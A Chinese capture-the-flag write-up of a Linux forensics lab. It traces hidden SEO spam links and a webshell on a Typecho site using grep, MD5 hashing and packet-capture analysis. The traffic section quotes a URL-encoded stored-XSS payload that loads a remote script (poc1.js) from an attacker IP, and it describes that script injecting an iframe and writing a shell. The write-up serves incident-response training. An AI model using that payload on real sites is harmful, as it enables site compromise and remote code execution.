当前位置: 首页 > article >正文

linux实战-黑链——玄机靶场

黑链的特征:

  • 隐藏链接:黑链通常隐藏在网站页面中,使用CSS、JavaScript或其他手段使其对普通用户不可见,但仍然能被搜索引擎爬虫检测到。
  • 恶意内容:这些链接指向的内容可能包含恶意软件、钓鱼页面或其他不良内容,试图感染用户的计算机或窃取个人信息。
  • 伪装链接:黑链可能伪装成合法的链接,通过使用误导性的锚文本或URL,诱导用户点击。
  • 大量生成:黑链通常通过自动化工具大量生成,散布在多个网站上,以提高恶意网站的搜索引擎排名。

总结来说,黑链是一种通过不正当手段在网站上植入的链接,旨在提升恶意网站的搜索引擎排名或传播恶意软件。

在实际操作中,黑链通常通过以下方式植入:

  • 网站漏洞:利用网站或插件的漏洞,通过SQL注入、跨站脚本(XSS)等手段植入黑链。
  • 权限滥用:通过获取网站管理员权限,手动添加黑链。
  • 文件上传漏洞:通过上传恶意文件(如带有后门的PHP文件),在服务器上执行代码,植入黑链。

找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}

一般流程,手动检查网站的HTML和PHP文件,寻找可疑的代码片段,或者检查特定的文件夹,某些文件夹更容易被黑客攻击,常见的如:/var/www/html,/tmp,/uploads,/images,在linux里可以使用命令进行全局搜索。

grep -rnw '/var/www/html/' -e '黑链'这里直接指定在网站目录下搜索。

-r:递归搜索。这个选项告诉 grep 在指定目录下的所有子目录中进行搜索。
-n:显示行号。这个选项会在匹配的行前面显示行号,方便定位。
-w:匹配整个单词。这个选项告诉 grep 只匹配整个单词(即匹配边界)。在这里,黑链 被视为一个完整的单词,只有当它作为一个独立的单词出现时才会被匹配。
-e '黑链':指定要搜索的字符串。在这个例子中,我们要搜索的是包含 黑链 字符串的所有文件。

可以看到,甚至能够将压缩包里的内容都进行匹配。

tips

关于关键词的选取需要进行收集,在搜索到可能的有黑链的文件后还需要进一步进行人工分析。

黑链隐藏方式:

  • 隐藏的 HTML 元素:使用 CSS 将链接隐藏在网页中,如 display:none 或 visibility:hidden。
  • JavaScript 动态加载:使用 JavaScript 动态加载黑链,使其在页面加载时才出现。
  • URL 重定向:通过 URL 重定向,将合法链接引导到恶意网站。
  • 伪装成正常内容:黑链可能伪装成正常的内容或链接,混杂在正常网页内容中。

例如匹配关键字:'href=', 'http'

一般先用D盾扫一遍,提高工作效率。

flag{header.php}

webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}

通过命令行查shell:grep -rnw '/var/www/html/' -e 'eval('

一般使用D盾等工具进行扫描找出。

flag{/var/www/html/usr/themes/default/404.php}

黑客注入黑链文件的 md5 md5sum file flag{md5}

一般黑客注入黑链文件,常见的有:

  • JavaScript:通过JavaScript代码动态插入隐藏链接或iframe。可以通过脚本在用户浏览页面时实时插入黑链,常见于页面底部或隐藏的元素中。
  • HTML:直接在 HTML 文件中嵌入隐藏的链接。链接通常设置为display: none或放置在不可见的位置(如超出视口的区域)。
  • PHP:在PHP文件中嵌入生成隐藏链接的代码。利用服务器端代码生成黑链,可以隐藏在模板文件、插件文件等处,较难被发现。
  • CSS:通过 CSS 文件定义隐藏链接的样式。使用display: nonevisibility: hiddenposition: absolute; left: -9999px等方式隐藏链接。
  • iframe:在页面中嵌入一个隐藏的iframe,iframe内部加载包含黑链的页面。iframe 可以指向外部恶意页面,通过隐藏的 iframe 难以被发现。
  • .htaccess:使用 Apache 服务器的 .htaccess文件进行URL重写,植入黑链。通过重写规则隐蔽地将用户引导至黑链页面。

在前面找webshell时,找到过一个js文件里存在shell代码,优先分析这个js代码。

代码第一部分是在404.php中注入iframe,第二部分就是写shell。

对文件计算md5:

windos下命令:certutil -hashfile <文件名称> MD5

flag{10c18029294fdec7b6ddab76d9367c14}

攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}

在目录下有个流量包,下载进行分析即可。

根据之前找到的poc1.js文件,可以直接筛选http contains "poc1.js"

这里有多个流量都存在poc1.js,需要进一步进行分析,但是发现了一个xss注入痕迹。

推测攻击者是利用这个poc写入poc1.js的,所以利用这个poc进行筛选,注:需要通过url编码。

http contains "http%3A%2F%2Fxxx.xxx.com%2F%22%3E%3C%2Fa%3E%3Cscript%2Fsrc%3Dhttp%3A%2F%2F192.168.20.130%2Fpoc1.js%3E%3C%2Fscript%3E%3Ca%2Fhref%3D%22%23"

然后追踪http流进行分析,通过查找关键字poc1.js进行分析,目的是找到前面的poc是在什么时候写入到网站。

找到第一处,流量要成对分析,请求包里的url值为poc,提交后发生了302跳转。

跳转后发出的请求路径/index.php/archives/1/此时poc已经在cookie里了。

在响应包中发现,xss已经被插入。

Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复 - JunBlog

flag{/index.php/archives/1/}


http://www.kler.cn/a/410814.html

相关文章:

  • 道品智能科技移动式水肥一体机:农业灌溉施肥的革新之选
  • 函数类型注释和Union联合类型注释
  • Excel把其中一张工作表导出成一个新的文件
  • Vue——【路由】
  • Spring Boot项目集成Redisson 原始依赖与 Spring Boot Starter 的流程
  • 鸿蒙开发Hvigor插件动态生成代码
  • Linux—进程概念学习-03
  • web 中 canvas 污染 以及解决方案
  • 解锁数据安全的金钥匙:商用密码在现代商业中的应用与挑战
  • 【MySQL实战45讲笔记】基础篇——行锁
  • 人工智能深度学习-Torch框架-数学运算
  • 【Android+多线程】IntentService 知识总结:应用场景 / 使用步骤 / 源码分析
  • 数据结构--创建链表--Python
  • SpringBoot中忽略实体类中的某个属性不返回给前端的方法
  • Maven 依赖管理
  • 使用llama.cpp进行量化和部署
  • 自由学习记录(23)
  • windows 中docker desktop 安装
  • uni-app自定义底部tab并且根据字段显示和隐藏
  • 设计模式——空对象模式
  • 如何不使用密码,通过ssh直接登录服务器
  • 【Python】九大经典排序算法:从入门到精通的详解(冒泡排序、选择排序、插入排序、归并排序、快速排序、堆排序、计数排序、基数排序、桶排序)
  • 第二十天 模型评估与调优
  • LeetCode 872.叶子相似的树
  • DevExpress WinForms中文教程:Data Grid - 使用服务器模式的大数据源和即时反馈?
  • 在线课程管理:SpringBoot技术的应用